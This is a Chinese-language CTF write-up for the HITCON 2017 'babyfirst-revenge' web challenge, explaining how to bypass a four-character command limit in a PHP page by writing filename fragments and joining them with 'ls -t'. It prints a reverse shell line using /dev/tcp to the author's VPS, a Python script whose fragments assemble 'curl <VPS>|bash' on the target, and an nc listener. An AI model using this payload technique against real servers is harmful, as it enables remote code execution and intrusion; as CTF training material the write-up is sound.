0%

babyfirst-revenge-CTF

来源信息

  • i春秋
  • 题目名称:babyfirst-revenge
  • 类型:Web
  • 难度:★★★★☆
  • 题目地址:链接
  • 题目内容:hitcon2017丧心病狂的命令执行

解题

问题分析

打开链接看到的就是一段php代码,仔细阅读一些代码,发现该代码的意思是将用户输入的cmd进行判断,如果非空同时cmd的长度小于等于4时,执行该cmd命令
如果输入的reset不为空的话,就会重置该文件夹及路径。

截屏2021-04-28 下午3.20.32.png

原理分析

要想突破长度的限制,这里就需要使用Linux中的 \ (续行符)。
在Linux中,当输入的命令过长时,会被 \ 分为多行。所以我们也使用该方法来绕过长度限制。

这里举个例子:

使用 \ 实现下述的命令:

1
echo 1
  • 正常输入:

截屏2021-04-29 下午3.56.48.png

  • \ 输入:

截屏2021-04-29 下午4.04.25.png

成功创建了命令,接着使用ls -t将其按照创建的顺序写入到g中。
则 g 中的命令就变成了:

1
echo 1

截屏2021-04-29 下午4.05.49.png

这里需要注意的问题

  • 写入的长度
  • 写入的顺序

解题过程

明确我们的目的:构造shell,然后进行反弹。

在自己的VPS上构造的shell如下:

1
2
bash -i > /dev/tcp/XXX.XXX.XXX.XXX1/8080

脚本执行,写入bash命令,访问我们的VPS下载并执行shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
url = "http://117.50.3.97:8001/"

payload = [
">-t\\", # ls -t>b
">\>b",
">l\\",
">s\ \\",
"ls>a",
"ls>>a",
">bash", # Download Payload
">80\|\\",
">80\\",
">XX.\\",
">XX.\\",
">X.\\",
">XX\\",
">\ \\",
">rl\\",
">cu\\",
"sh a",
"sh b",
]
r = requests.get(url+"?reset=1")
for i in payload:
print i
time.sleep(0.5)
r = requests.get(url + "?cmd=" + i)

服务器端监听对应的端口即可:

1
nc -lvvp 8080

执行成功就会发现在home下面的fl4444g目录下存在README.txt文件,flag在数据库中。